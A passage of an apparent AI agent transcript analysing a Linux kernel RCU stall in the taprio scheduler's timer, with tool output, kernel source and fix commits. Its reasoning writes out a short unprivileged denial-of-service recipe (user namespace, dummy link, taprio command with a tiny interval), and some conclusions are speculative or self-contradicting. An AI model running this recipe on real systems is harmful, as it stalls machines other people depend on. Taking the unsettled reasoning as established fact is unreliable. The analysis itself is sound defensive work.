But how can `basenow` be a full second after `start`? When the timer is scheduled, it's for `start`. The timer interrupt will fire pretty much right away, and `basenow` will equal the time of the interrupt, with the difference being interrupt latency, say, 10 us. So, at first, it's looping `10 us / 1 ns = 10,000` times, taking maybe 500 us, but then `__hrtimer_run_queues` finishes.
Then `hrtimer_interrupt` checks if the next timer is in the past. It will be because `end_time` is `start + 10 us` but now has advanced by 500 us! So `tick_program_event` fails, and the handler retries. It updates `now` which is `start + 510 us`. It calls `__hrtimer_run_queues` again, but this time `basenow` is `start + 510 us`, and the timer's `end_time` is `start + 10 us`, causing it to loop `500,000` times taking 25 ms.
The retry continues: `now` advances by 25 ms, `tick_program_event` fails again. A third retry, now `basenow` is `start + 25 ms`, and the loop grows to `25,000,000` iterations! 25 million cycles takes 1.25 seconds. After checking again, `tick_program_event` fails again, but since it's the fourth time, it breaks the loop. So `expires_next` is set to `now + 100 ms` and the interrupt returns!
So the interrupt handler took `500 us + 25 ms + 1.25 s = 1.275 seconds`. Then, there's 100 ms of CPU free time. When it fires again, `basenow` is way out at `start + 1.375 s`. The timer's `end_time` is still `start + 25 ms`, so now we're looking at `(1.375 s - 25 ms) / 1 ns = 1.35 billion` loops, which translates to a monstrous 67 seconds! This *will* trigger an RCU stall, since the interrupt handler will block the CPU for 67 seconds without enabling interrupts and block RCU grace periods from completing. This is a DoS via an extremely long loop in `advance_sched`.
Let's see if we can tune this with `interval` being 1 ns. `TCA_TAPRIO_SCHED_ENTRY_INTERVAL` is 1024 ns. With a 10
|
| 55/2 |
2026/05/23 14:48 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:taprio_parse_clockid]
Results: map[SourceCode:1615: /* If full offload is enabled, the only possible clockid is the net device's
1616: * PHC. For that reason, specifying a clockid through netlink is incorrect.
1617: * For txtime-assist, it is implicitly assumed that the device's PHC is kept
1618: * in sync with the specified clockid via a user space daemon such as phc2sys.
1619: * For both software taprio and txtime-assist, the clockid is used for the
1620: * hrtimer that advances the schedule and hence mandatory.
1621: */
1622: static int taprio_parse_clockid(struct Qdisc *sch, struct nlattr **tb,
1623: struct netlink_ext_ack *extack)
1624: {
1625: struct taprio_sched *q = qdisc_priv(sch);
1626: struct net_device *dev = qdisc_dev(sch);
1627: int err = -EINVAL;
1628:
1629: if (FULL_OFFLOAD_IS_ENABLED(q->flags)) {
1630: const struct ethtool_ops *ops = dev->ethtool_ops;
1631: struct kernel_ethtool_ts_info info = {
1632: .cmd = ETHTOOL_GET_TS_INFO,
1633: .phc_index = -1,
1634: };
1635:
1636: if (tb[TCA_TAPRIO_ATTR_SCHED_CLOCKID]) {
1637: NL_SET_ERR_MSG(extack,
1638: "The 'clockid' cannot be specified for full offload");
1639: goto out;
1640: }
1641:
1642: if (ops && ops->get_ts_info)
1643: err = ops->get_ts_info(dev, &info);
1644:
1645: if (err || info.phc_index < 0) {
1646: NL_SET_ERR_MSG(extack,
1647: "Device does not have a PTP clock");
1648: err = -ENOTSUPP;
1649: goto out;
1650: }
1651: } else if (tb[TCA_TAPRIO_ATTR_SCHED_CLOCKID]) {
1652: int clockid = nla_get_s32(tb[TCA_TAPRIO_ATTR_SCHED_CLOCKID]);
1653: enum tk_offsets tk_offset;
1654:
1655: /* We only support static clockids and we don't allow
1656: * for it to be modified after the first init.
1657: */
1658: if (clockid < 0 ||
1659: (q->clockid != -1 && q->clockid != clockid)) {
1660: NL_SET_ERR_MSG(extack,
1661: "Changing the 'clockid' of a running schedule is not supported");
1662: err = -ENOTSUPP;
1663: goto out;
1664: }
1665:
1666: switch (clockid) {
1667: case CLOCK_REALTIME:
1668: tk_offset = TK_OFFS_REAL;
1669: break;
1670: case CLOCK_MONOTONIC:
1671: tk_offset = TK_OFFS_MAX;
1672: break;
1673: case CLOCK_BOOTTIME:
1674: tk_offset = TK_OFFS_BOOT;
1675: break;
1676: case CLOCK_TAI:
1677: tk_offset = TK_OFFS_TAI;
1678: break;
1679: default:
1680: NL_SET_ERR_MSG(extack, "Invalid 'clockid'");
1681: err = -EINVAL;
1682: goto out;
1683: }
1684: /* This pairs with READ_ONCE() in taprio_mono_to_any */
1685: WRITE_ONCE(q->tk_offset, tk_offset);
1686:
1687: q->clockid = clockid;
1688: } else {
1689: NL_SET_ERR_MSG(extack, "Specifying a 'clockid' is mandatory");
1690: goto out;
1691: }
1692:
1693: /* Everything went ok, return success. */
1694: err = 0;
1695:
1696: out:
1697: return err;
1698: }
SourceFile:net/sched/sch_taprio.c]
|
| 56/2 |
2026/05/23 14:48 |
llm |
expert |
0m
Model:
Tokens:
input: 70438
output: 23
thoughts: 1049
Thoughts: **Interrupt Storm Vulnerability in `taprio` Qdisc**
Okay, let's break this down. First, I'm confirming that the `CLOCK_BOOTTIME_ALARM` clock ID is indeed 7. That's consistent with what `taprio_parse_clockid` expects and what the `switch` statement handles for `clockid`, which includes `CLOCK_REALTIME`, `CLOCK_MONOTONIC`, `CLOCK_BOOTTIME`, and `CLOCK_TAI`. The `clockid` appears valid.
Now, the core issue jumps out. If the timer is configured to fire every 1 microsecond and the interrupt handler also takes 1 microsecond to execute, that's 100% CPU usage! And if a CPU is stuck running an interrupt handler constantly, it's going to starve critical processes.
Specifically, that bug report: `"rcu: rcu_preempt kthread starved for...`" paints a clear picture. The RCU grace period kthread, which is essential for things like memory reclamation, is starved! This starvation is directly linked to 100% CPU usage within the interrupt handler of a single CPU. It's an RCU stall caused by an interrupt storm! It's effectively a classic interrupt storm DoS, a denial of service.
The problem? There's no rate limiting on this timer. It just fires repeatedly at 1 microsecond intervals.
Can an unprivileged user exploit this? Here's where it gets interesting. The reproducer uses `socket(AF_NETLINK, 3, 0)` and `sendmsg(nl_route_sched, ...)`. That requires `CAP_NET_ADMIN` in the network namespace. A normal user doesn't have it, but they can create a user namespace and a network namespace with `unshare -Urn`. And, they can configure `taprio` on something like a `dummy` or `veth` device which are easily created within a user namespace. The key is to test attaching `taprio` to a `dummy` device or `veth` device.
`taprio` is a qdisc; it can be attached to *any* network device. The software version of `taprio` works on any device.
So, an unprivileged user can effectively trigger this:
1. `unshare -Urn`
2. `ip link add dummy0 type dummy`
3. `tc qdisc add dev dummy0 root taprio num_tc 1 map 0 ... sched-entry S 01 1024 clockid CLOCK_BOOTTIME`
That `tc qdisc add` command will unleash the interrupt storm on the CPU that's handling the timer.
The timer is probably pinned to the CPU that sets it up. If `hrtimer_setup` is used without `HRTIMER_MODE_PINNED`, the timer might migrate, but regardless, it will consume 100% of some CPU.
This is a complete CPU stall and RCU stall denial of service, exploitable by unprivileged users!
I should also double-check that `tc qdisc add` is allowed in a user namespace. I'm pretty sure it is, as long as the user has `CAP_NET_ADMIN` in that namespace. I also have to verify if the `sch_taprio` module is auto-loaded. `tc` uses netlink, which requests the `sch_taprio` module via `MODULE_ALIAS_NET_SCH("taprio")`. It might be restricted for some modules, but `sch_*` modules are usually allowed. And even if not, it's very likely to be loaded already. So, accessible from User Namespaces.
Finally, a search of the git log for fixes related to `taprio`, `interval`, or `cycle_time` is needed.
|
| 57/2 |
2026/05/23 14:48 |
tool |
git-log |
0m
Args: map[MessageRegexps:[taprio interval]]
Results: map[Output:48b2e323c018 net: stmmac: est: Fix GCL bounds checks
89934dbf169e net: macb: Add TAPRIO traffic scheduling support
ae8508b25def net/sched: taprio: enforce minimum value for picos_per_byte
c471b90bb332 net/sched: taprio: align entry index attr validation with mqprio
426d487bca38 net: dsa: felix: fix broken taprio gate states after clock jump
acfcdb78d5d4 net: dsa: felix: fix stuck CPU-injected packets with short taprio windows
b454abfab525 net: mscc: ocelot: be resilient to loss of PTP packets during transmission
6c3fc0b1c3d0 igc: Fix qbv tx latency by setting gtxoffset
fb66df20a720 net/sched: taprio: extend minimum interval restriction to entire cycle too
e63413418088 net/sched: taprio: make q->picos_per_byte available to fill_sched_entry()
]
|
| 58/2 |
2026/05/23 14:48 |
llm |
expert |
0m
Model:
Tokens:
input: 72627
output: 25
thoughts: 85
Thoughts: Here's my take on those code changes, breaking down my thought process as an expert in this field:
**Analyzing Recent TAPRIO Scheduler Updates**
Okay, so I've got two interesting commits here related to the TAPRIO scheduler, specifically `fb66df20a720` and `e63413418088`. My initial thought is to dive into `fb66df20a720` first. The commit message indicates that the minimum interval restriction is being extended to the *entire cycle*. That's immediately intriguing. I'm wondering what the original restriction looked like. What was the rationale behind only partially applying it before? What implications does this extension have on scheduling behavior, especially under heavy load or with varying traffic patterns? Does this affect the interaction with other QoS mechanisms like CoDel or fq_codel? I want to dig into the code and see the precise implementation details. My expertise demands I determine if this new behavior enhances fairness, predictability, or if it introduces any new potential performance bottlenecks.
Then there's `e63413418088`. I see that they're making `q->picos_per_byte` available to `fill_sched_entry()`. Hmm, interesting. I'm assuming this involves some optimization in the scheduling calculations. I want to see how this value is being used within `fill_sched_entry()` to see the impact. Is this aiming for more precise timing? Reduced CPU overhead? Is it helping with edge cases or particular hardware? I'll probably want to cross-reference this change with the documentation, too, to confirm my assumptions and grasp the overarching design intent.
Ultimately, I want to assess the overall impact of these changes on TAPRIO's stability, performance, and its suitability for real-time applications.
|
| 59/2 |
2026/05/23 14:49 |
tool |
git-show |
0m
Args:
Results: map[Output:commit fb66df20a7201e60f2b13d7f95d031b31a8831d3
Author: Vladimir Oltean <vladimir.oltean@nxp.com>
Date: Mon May 27 18:39:55 2024 +0300
net/sched: taprio: extend minimum interval restriction to entire cycle too
It is possible for syzbot to side-step the restriction imposed by the
blamed commit in the Fixes: tag, because the taprio UAPI permits a
cycle-time different from (and potentially shorter than) the sum of
entry intervals.
We need one more restriction, which is that the cycle time itself must
be larger than N * ETH_ZLEN bit times, where N is the number of schedule
entries. This restriction needs to apply regardless of whether the cycle
time came from the user or was the implicit, auto-calculated value, so
we move the existing "cycle == 0" check outside the "if "(!new->cycle_time)"
branch. This way covers both conditions and scenarios.
Add a selftest which illustrates the issue triggered by syzbot.
Fixes: b5b73b26b3ca ("taprio: Fix allowing too small intervals")
Reported-by: syzbot+a7d2b1d5d1af83035567@syzkaller.appspotmail.com
Closes: https://lore.kernel.org/netdev/0000000000007d66bc06196e7c66@google.com/
Signed-off-by: Vladimir Oltean <vladimir.oltean@nxp.com>
Link: https://lore.kernel.org/r/20240527153955.553333-2-vladimir.oltean@nxp.com
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
diff --git a/net/sched/sch_taprio.c b/net/sched/sch_taprio.c
index 118915055360..937a0c513c17 100644
--- a/net/sched/sch_taprio.c
+++ b/net/sched/sch_taprio.c
@@ -1151,11 +1151,6 @@ static int parse_taprio_schedule(struct taprio_sched *q, struct nlattr **tb,
list_for_each_entry(entry, &new->entries, list)
cycle = ktime_add_ns(cycle, entry->interval);
- if (!cycle) {
- NL_SET_ERR_MSG(extack, "'cycle_time' can never be 0");
- return -EINVAL;
- }
-
if (cycle < 0 || cycle > INT_MAX) {
NL_SET_ERR_MSG(extack, "'cycle_time' is too big");
return -EINVAL;
@@ -1164,6 +1159,11 @@ static int parse_taprio_schedule(struct taprio_sched *q, struct nlattr **tb,
new->cycle_time = cycle;
}
+ if (new->cycle_time < new->num_entries * length_to_duration(q, ETH_ZLEN)) {
+ NL_SET_ERR_MSG(extack, "'cycle_time' is too small");
+ return -EINVAL;
+ }
+
taprio_calculate_gate_durations(q, new);
return 0;
diff --git a/tools/testing/selftests/tc-testing/tc-tests/qdiscs/taprio.json b/tools/testing/selftests/tc-testing/tc-tests/qdiscs/taprio.json
index 8f12f00a4f57..557fb074acf0 100644
--- a/tools/testing/selftests/tc-testing/tc-tests/qdiscs/taprio.json
+++ b/tools/testing/selftests/tc-testing/tc-tests/qdiscs/taprio.json
@@ -154,6 +154,28 @@
"echo \"1\" > /sys/bus/netdevsim/del_device"
]
},
+ {
+ "id": "831f",
+ "name": "Add taprio Qdisc with too short cycle-time",
+ "category": [
+ "qdisc",
+ "taprio"
+ ],
+ "plugins": {
+ "requires": "nsPlugin"
+ },
+ "setup": [
+ "echo \"1 1 8\" > /sys/bus/netdevsim/new_device"
+ ],
+ "cmdUnderTest": "$TC qdisc add dev $ETH root handle 1: taprio num_tc 2 queues 1@0 1@1 sched-entry S 01 200000 sched-entry S 02 200000 cycle-time 100 clockid CLOCK_TAI",
+ "expExitCode": "2",
+ "verifyCmd": "$TC qdisc show dev $ETH",
+ "matchPattern": "qdisc taprio 1: root refcnt",
+ "matchCount": "0",
+ "teardown": [
+ "echo \"1\" > /sys/bus/netdevsim/del_device"
+ ]
+ },
{
"id": "3e1e",
"name": "Add taprio Qdisc with an invalid cycle-time",
]
|
| 60/2 |
2026/05/23 14:49 |
llm |
expert |
0m
Model:
Tokens:
input: 74575
output: 25
thoughts: 2602
Thoughts: **Analysis of Potential RCU Stall in TAPRIO Scheduler**
Okay, so I'm looking at this commit `fb66df20a720` and initially thought it fixed a problem where `cycle_time` could be too small. However, the commit's description mentions a potential bypass via the taprio UAPI, allowing for a smaller `cycle_time` than the sum of entry intervals. My first thought is to explore this possibility.
The reproducer doesn't explicitly set `TCA_TAPRIO_ATTR_SCHED_CYCLE_TIME`. If `cycle_time` isn't specified, it defaults to the sum of intervals, and in this case the intervals sum to 1024 ns. Now, my immediate thought is that a 1024 ns `cycle_time` might still be too small, right? Let's check the code: the condition `new->cycle_time < new->num_entries * length_to_duration(q, ETH_ZLEN)` is used. With a single entry and the `length_to_duration` value of 1, this evaluates to `1024 < 1` which is false, so it won't fail.
So, if that check doesn't fail, the effective `cycle_time` is 1024 ns. I've seen that a 1024 ns interrupt, in isolation, doesn't necessarily cause RCU stalls because it would loop only once per interrupt, but a consistent 100% CPU usage *could* in a hardirq. I'm wondering if this 1024 ns interval is enough to starve RCU. Thinking through the interrupt handling, let's suppose `advance_sched` β the function called by the timer β actually takes longer than 1024 ns.
If `advance_sched` takes, say, 2000 ns, the timer is *always* going to be falling behind. The `__hrtimer_run_queues` loop becomes problematic because `basenow` doesn't get updated within the main loop body. With `advance_sched` taking longer than the interval, `__hrtimer_run_queues` will loop many times before returning. The key problem is that `tick_program_event` will fail because `end_time` is consistently in the past. This causes retries, and now things start to spiral.
Each retry loop consumes more time! Let's do some math: Each loop takes ~2000 ns, but the `end_time` only advances by 1024 ns, so the interrupt handler *falls* behind. We're seeing *exponential* backlog growth. The hrtimer retry mechanism makes it worse, doubling the backlog on each retry. Because the delay is capped at 100 ms, this backlog is unconstrained!
Imagine the backlog grows to 100 ms. The interrupt handler execution balloons to 3 seconds, leading to *massive* RCU stalls because the interrupt handler will lock the CPU for long intervals with interrupts disabled, with the backlog only increasing. I need to figure out why `advance_sched` is taking so long!
The key here is that if the execution time of the `advance_sched` hrtimer callback is consistently longer than the specified `interval`, the timer falls behind and you get an interrupt storm that will cause RCU stalls! A quick look at the functions called in `advance_sched` shows a lot of moving parts that may contribute to a longer than 1024 ns execution. It's plausible that a simple cache miss or debug settings could easily make this timing requirement infeasible.
Now, the obvious root cause here is that `interval` being shorter than `advance_sched`'s execution time is creating this problem! So, is there any relevant fix that will address this issue, or should I consider one? A `git log` search is in order.
|
| 61/2 |
2026/05/23 14:49 |
tool |
git-log |
0m
Args: map[MessageRegexps:[taprio advance_sched]]
Results: map[Output:b160766e26d4 net/sched: fix use-after-free in taprio_dev_notifier
f504465970ae net: sched: fix use-after-free in taprio_change()
d5c4546062fd net: sched: consistently use rcu_replace_pointer() in taprio_change()
3a415d59c1db net/sched: sch_taprio: fix possible use-after-free
a56d447f196f net/sched: sch_taprio: properly cancel timer from taprio_destroy()
5175aafe71bf net: sched: taprio: Remove should_restart_cycle()
23bddf692d36 net/sched: taprio: fix build without 64bit div
]
|
| 62/2 |
2026/05/23 14:49 |
llm |
expert |
0m
Model:
Tokens:
input: 78262
output: 50
thoughts: 816
Thoughts: **Analyzing the Schedule Entry Interval Issue**
Okay, so `fb66df20a720` supposedly fixed the problem where `cycle_time` could be too small. Let's revisit that commit to refresh my memory. It added this check:
```c
if (new->cycle_time < new->num_entries * length_to_duration(q, ETH_ZLEN)) {
NL_SET_ERR_MSG(extack, "'cycle_time' is too small");
return -EINVAL;
}
```
Essentially, it's ensuring `cycle_time` is large enough based on the number of entries and the time it takes to transmit an Ethernet frame of minimal size, `ETH_ZLEN`. The `length_to_duration` function is the key here. It calculates transmission time, which is at least 1 ns, so `cycle_time` must be at least `num_entries` * 1 ns. But that doesn't prevent `interval` from being much smaller, like 1024 ns, it only makes sure the cycle is big enough.
Now, `length_to_duration` calculates transmission time using the link speed. For a 10 Gbps link, the calculation is about 48 ns; for 100 Gbps, it's 4 ns; and for 1 Gbps it is 480 ns. The default link speed if unknown is 10 Mbps, so that would result in a time of 48 us.
Aha! The reproducer uses `bond0`. What's the link speed there? If `bond0` has no slaves, the link speed might be `SPEED_UNKNOWN`. If so, `taprio_set_picos_per_byte` will default to `SPEED_10` (10 Mbps). Therefore, `length_to_duration` would calculate 48 us, because the default value is used.
Here's the problem: The issue shows an interval of 1024 ns when `length_to_duration` should be 48 us. That's a huge difference! `fill_sched_entry` should fail because we have the following condition:
```c
int min_duration = length_to_duration(q, ETH_ZLEN);
...
if (interval < min_duration) {
NL_SET_ERR_MSG(extack, "Invalid interval for schedule entry");
return -EINVAL;
}
```
So with a `min_duration` of 48 us, 1024 ns should be a clear failure. But, in the reproducer, it's not failing.
This seems to point back to how the link speed is being determined or set. Let me review `taprio_set_picos_per_byte` again. There's an inconsistency somewhere that's preventing the check from failing, and the link speed or its determination is the likely culprit.
|
| 63/2 |
2026/05/23 14:50 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/sched/sch_taprio.c IncludeLines:true Name:taprio_set_picos_per_byte]
Results: map[SourceCode:1292: static void taprio_set_picos_per_byte(struct net_device *dev,
1293: struct taprio_sched *q,
1294: struct netlink_ext_ack *extack)
1295: {
1296: struct ethtool_link_ksettings ecmd;
1297: int speed = SPEED_10;
1298: int picos_per_byte;
1299: int err;
1300:
1301: err = __ethtool_get_link_ksettings(dev, &ecmd);
1302: if (err < 0)
1303: goto skip;
1304:
1305: if (ecmd.base.speed && ecmd.base.speed != SPEED_UNKNOWN)
1306: speed = ecmd.base.speed;
1307:
1308: skip:
1309: picos_per_byte = (USEC_PER_SEC * 8) / speed;
1310: if (picos_per_byte < TAPRIO_PICOS_PER_BYTE_MIN) {
1311: if (!extack)
1312: pr_warn("Link speed %d is too high. Schedule may be inaccurate.\n",
1313: speed);
1314: NL_SET_ERR_MSG_FMT_MOD(extack,
1315: "Link speed %d is too high. Schedule may be inaccurate.",
1316: speed);
1317: picos_per_byte = TAPRIO_PICOS_PER_BYTE_MIN;
1318: }
1319:
1320: atomic64_set(&q->picos_per_byte, picos_per_byte);
1321: netdev_dbg(dev, "taprio: set %s's picos_per_byte to: %lld, linkspeed: %d\n",
1322: dev->name, (long long)atomic64_read(&q->picos_per_byte),
1323: ecmd.base.speed);
1324: }
SourceFile:net/sched/sch_taprio.c]
|
| 64/2 |
2026/05/23 14:50 |
llm |
expert |
0m
Model:
Tokens:
input: 80393
output: 52
thoughts: 269
Thoughts: **Analyzing Network Speed Calculation**
Okay, so I'm looking at this code and trying to understand how it calculates network speed. First, I see `USEC_PER_SEC` is defined as 1,000,000, which makes sense. Then the code calculates `picos_per_byte` using that value, and the network `speed`.
Now, if `speed` is initially `SPEED_UNKNOWN`, or -1, the code sets it to `SPEED_10`, or 10. But then I realize `ecmd.base.speed` is an `__u32`, and `SPEED_UNKNOWN` is also cast as an `__u32` when set to -1. That means if the ethtool call fails, and returns 0, and the `speed` is still `SPEED_UNKNOWN`, then the code effectively sets `speed` to `SPEED_10`. I get that.
But here's a wrinkle: what if `__ethtool_get_link_ksettings` returns 0, *and* `ecmd.base.speed` is zero after the call? The code still sets `speed` to `SPEED_10`. I'm starting to see a pattern here. And what happens if it's a *very* large value? I'll need to figure out what bounds the network settings could take, or if there's any overflow.
For the `bond0` interface specifically, I need to know what `__ethtool_get_link_ksettings` actually returns. Is there a custom handler there? I should check the `bond_ethtool_get_link_ksettings` function to see if there's any special logic for bonded interfaces.
|
| 65/2 |
2026/05/23 14:50 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/net/bonding/bond_main.c IncludeLines:true Name:bond_ethtool_get_link_ksettings]
Results: map[SourceCode:5741: static int bond_ethtool_get_link_ksettings(struct net_device *bond_dev,
5742: struct ethtool_link_ksettings *cmd)
5743: {
5744: struct bonding *bond = netdev_priv(bond_dev);
5745: struct list_head *iter;
5746: struct slave *slave;
5747: u32 speed = 0;
5748:
5749: cmd->base.duplex = DUPLEX_UNKNOWN;
5750: cmd->base.port = PORT_OTHER;
5751:
5752: /* Since bond_slave_can_tx returns false for all inactive or down slaves, we
5753: * do not need to check mode. Though link speed might not represent
5754: * the true receive or transmit bandwidth (not all modes are symmetric)
5755: * this is an accurate maximum.
5756: */
5757: bond_for_each_slave(bond, slave, iter) {
5758: if (bond_slave_can_tx(slave)) {
5759: bond_update_speed_duplex(slave);
5760: if (slave->speed != SPEED_UNKNOWN) {
5761: if (BOND_MODE(bond) == BOND_MODE_BROADCAST)
5762: speed = bond_mode_bcast_speed(slave,
5763: speed);
5764: else
5765: speed += slave->speed;
5766: }
5767: if (cmd->base.duplex == DUPLEX_UNKNOWN &&
5768: slave->duplex != DUPLEX_UNKNOWN)
5769: cmd->base.duplex = slave->duplex;
5770: }
5771: }
5772: cmd->base.speed = speed ? : SPEED_UNKNOWN;
5773:
5774: return 0;
5775: }
SourceFile:drivers/net/bonding/bond_main.c]
|
| 66/2 |
2026/05/23 14:50 |
llm |
expert |
0m
Model:
Tokens:
input: 81673
output: 26
thoughts: 2730
Thoughts: **Analyzing the TAPRIO Scheduler's Minimum Duration Calculation**
Okay, so the initial assumption is that if there are no slaves attached, the `speed` is 0, leading to `cmd->base.speed` becoming `SPEED_UNKNOWN`. This would then lead `taprio_set_picos_per_byte` to default to `SPEED_10` (10), making `picos_per_byte` 800,000, and ultimately, `min_duration` 48,000 ns. The reproducer's `interval` of 1024 ns should trigger a failure since 1024 < 48000. But it doesn't. Why?
The reproducer shows `TCA_TAPRIO_ATTR_SCHED_ENTRY_LIST` including `TCA_TAPRIO_SCHED_ENTRY_INTERVAL` as 1024. This is parsed within `parse_sched_list`. Is there another way `picos_per_byte` could be 0? What if speed is negative or extremely large? A very large `speed` like 4,000,000,000, results in `picos_per_byte` being 0, which is then capped to 17, and hence `min_duration` is 1 ns, and it passes. But how could `speed` be so large? It's derived from the sum of slave speeds in `bond_ethtool_get_link_ksettings`. Without slaves, it's `SPEED_UNKNOWN`, which is `(__u32)-1` or 4,294,967,295.
However, examining `taprio_set_picos_per_byte`, it avoids setting `speed = ecmd.base.speed` if `ecmd.base.speed` is `SPEED_UNKNOWN`. So, `speed` remains at 10, thus `picos_per_byte` is 800,000, and `min_duration` is 48,000 ns. The check *should* fail, yet it doesn't.
Looking at `length_to_duration` reveals the calculation using `atomic64_read(&q->picos_per_byte)`. Since this yields 800,000, and `len` is `ETH_ZLEN` (60), the division is 48,000 ns for `min_duration`. The reproducer confirms the interval is indeed 1024, so it *must* fail. Unless `q->picos_per_byte` is smaller.
Could `taprio_set_picos_per_byte` not be called first? `taprio_change` calls it before `taprio_parse_tc_entries`, which in turn, calls `parse_taprio_schedule` later. So it IS called first. What if `__ethtool_get_link_ksettings` fails? It falls back to `speed = SPEED_10`, leading to 800,000 picos. What if speed isn't `SPEED_10`? Speed is initialized to SPEED_10. And `USEC_PER_SEC` is confirmed as 1,000,000.
Back to the large `speed` case, if `ecmd.base.speed` IS 4,000,000,000, picos is 0 which becomes 17. The question is, can `ecmd.base.speed` be that large? In the bond, it's the sum of slave speeds, which defaults to `SPEED_UNKNOWN` (0) if there are no slaves. The reproducer calls `ioctl` on bond0 but doesn't add any slaves. Hence `cmd->base.speed` is `SPEED_UNKNOWN`, resulting in `speed` being 10, and thus, a 48000 ns duration.
The fact that the code *should* fail requires more investigation.
Let's recheck if `TCA_TAPRIO_SCHED_ENTRY_INTERVAL` is actually 1024. The reproducer shows that 0x400 is the `nla_len` and 1024, which is correct. If that field is NOT supplied, the check will fail. However, if that is supplied, as shown in the reproducer, `interval` is set correctly. The code parses this correctly.
Does `length_to_duration` ever yield 0? No, with the constants used, it will be 48
|
| 67/2 |
2026/05/23 14:50 |
tool |
grepper |
0m
Args: map[Expression:TCA_TAPRIO_SCHED_ENTRY_INTERVAL]
Results: map[Output:include/uapi/linux/pkt_sched.h=1118=enum {
--
include/uapi/linux/pkt_sched.h-1122- TCA_TAPRIO_SCHED_ENTRY_GATE_MASK, /* u32 */
include/uapi/linux/pkt_sched.h:1123: TCA_TAPRIO_SCHED_ENTRY_INTERVAL, /* u32 */
include/uapi/linux/pkt_sched.h-1124- __TCA_TAPRIO_SCHED_ENTRY_MAX,
--
include/uapi/linux/pkt_sched.h-1132- * [TCA_TAPRIO_SCHED_ENTRY_GATES]
include/uapi/linux/pkt_sched.h:1133: * [TCA_TAPRIO_SCHED_ENTRY_INTERVAL]
include/uapi/linux/pkt_sched.h-1134- */
--
net/sched/sch_taprio.c=998=static const struct nla_policy entry_policy[TCA_TAPRIO_SCHED_ENTRY_MAX + 1] = {
--
net/sched/sch_taprio.c-1001- [TCA_TAPRIO_SCHED_ENTRY_GATE_MASK] = { .type = NLA_U32 },
net/sched/sch_taprio.c:1002: [TCA_TAPRIO_SCHED_ENTRY_INTERVAL] = { .type = NLA_U32 },
net/sched/sch_taprio.c-1003-};
--
net/sched/sch_taprio.c=1036=static int fill_sched_entry(struct taprio_sched *q, struct nlattr **tb,
--
net/sched/sch_taprio.c-1050-
net/sched/sch_taprio.c:1051: if (tb[TCA_TAPRIO_SCHED_ENTRY_INTERVAL])
net/sched/sch_taprio.c-1052- interval = nla_get_u32(
net/sched/sch_taprio.c:1053: tb[TCA_TAPRIO_SCHED_ENTRY_INTERVAL]);
net/sched/sch_taprio.c-1054-
--
net/sched/sch_taprio.c=2217=static int dump_entry(struct sk_buff *msg,
--
net/sched/sch_taprio.c-2235-
net/sched/sch_taprio.c:2236: if (nla_put_u32(msg, TCA_TAPRIO_SCHED_ENTRY_INTERVAL,
net/sched/sch_taprio.c-2237- entry->interval))
--
tools/include/uapi/linux/pkt_sched.h=1017=enum {
--
tools/include/uapi/linux/pkt_sched.h-1021- TCA_TAPRIO_SCHED_ENTRY_GATE_MASK, /* u32 */
tools/include/uapi/linux/pkt_sched.h:1022: TCA_TAPRIO_SCHED_ENTRY_INTERVAL, /* u32 */
tools/include/uapi/linux/pkt_sched.h-1023- __TCA_TAPRIO_SCHED_ENTRY_MAX,
--
tools/include/uapi/linux/pkt_sched.h-1031- * [TCA_TAPRIO_SCHED_ENTRY_GATES]
tools/include/uapi/linux/pkt_sched.h:1032: * [TCA_TAPRIO_SCHED_ENTRY_INTERVAL]
tools/include/uapi/linux/pkt_sched.h-1033- */
]
|
| 68/2 |
2026/05/23 14:50 |
llm |
expert |
0m
Model:
Tokens:
input: 86386
output: 20
thoughts: 193
Thoughts: **Debugging a Potential Timing Issue**
Okay, so I'm looking at this code and something doesn't feel right. The `TCA_TAPRIO_SCHED_ENTRY_INTERVAL` is set to 4, which means the line `*(uint16_t*)0x200000000156 = 4;` is correct. However, if the specified `interval` is 1024, and the `min_duration` is a whopping 48,000, that *should* fail. It should trigger an error in the logic, right? But it didn't! That's a huge red flag.
My first thought is that maybe `length_to_duration` is returning 0, essentially masking the problem. But that doesn't seem right, considering the magnitude of the parameters. I know `PSEC_PER_NSEC` is 1000, so any calculation using that value should result in a finite number.
Then I wondered, what if `q->picos_per_byte` is being set to 0, or unintentionally reset to zero? We already checked `taprio_set_picos_per_byte` and know that it *should* be set to at least 17, and it *should* never be zero. Is there another place, *anywhere* in the code, where `q->picos_per_byte` is being modified? I need to meticulously trace that value now. Let's start there. I'll check.
|
| 69/2 |
2026/05/23 14:50 |
tool |
grepper |
0m
Args: map[Expression:picos_per_byte]
Results: map[Output:drivers/net/dsa/ocelot/felix_vsc9959.c=1218=static void vsc9959_tas_guard_bands_update(struct ocelot *ocelot, int port)
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1225- u64 needed_min_frag_time_ps;
drivers/net/dsa/ocelot/felix_vsc9959.c:1226: int speed, picos_per_byte;
drivers/net/dsa/ocelot/felix_vsc9959.c-1227- u64 needed_bit_time_ps;
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1254-
drivers/net/dsa/ocelot/felix_vsc9959.c:1255: picos_per_byte = (USEC_PER_SEC * 8) / speed;
drivers/net/dsa/ocelot/felix_vsc9959.c-1256-
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1264- */
drivers/net/dsa/ocelot/felix_vsc9959.c:1265: needed_bit_time_ps = (u64)(maxlen + 24) * picos_per_byte;
drivers/net/dsa/ocelot/felix_vsc9959.c-1266-
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1271- add_frag_size = QSYS_PREEMPTION_CFG_MM_ADD_FRAG_SIZE_X(val);
drivers/net/dsa/ocelot/felix_vsc9959.c:1272: needed_min_frag_time_ps = picos_per_byte *
drivers/net/dsa/ocelot/felix_vsc9959.c-1273- (u64)(24 + 2 * ethtool_mm_frag_size_add_to_min(add_frag_size));
--
drivers/net/dsa/ocelot/felix_vsc9959.c-1313- */
drivers/net/dsa/ocelot/felix_vsc9959.c:1314: max_sdu = div_u64(remaining_gate_len_ps, picos_per_byte);
drivers/net/dsa/ocelot/felix_vsc9959.c-1315- /* A TC gate may be completely closed, which is a
--
net/sched/sch_taprio.c=37=static struct static_key_false taprio_have_working_mqprio;
--
net/sched/sch_taprio.c-45-#define TAPRIO_FLAGS_INVALID U32_MAX
net/sched/sch_taprio.c:46:/* Minimum value for picos_per_byte to ensure non-zero duration
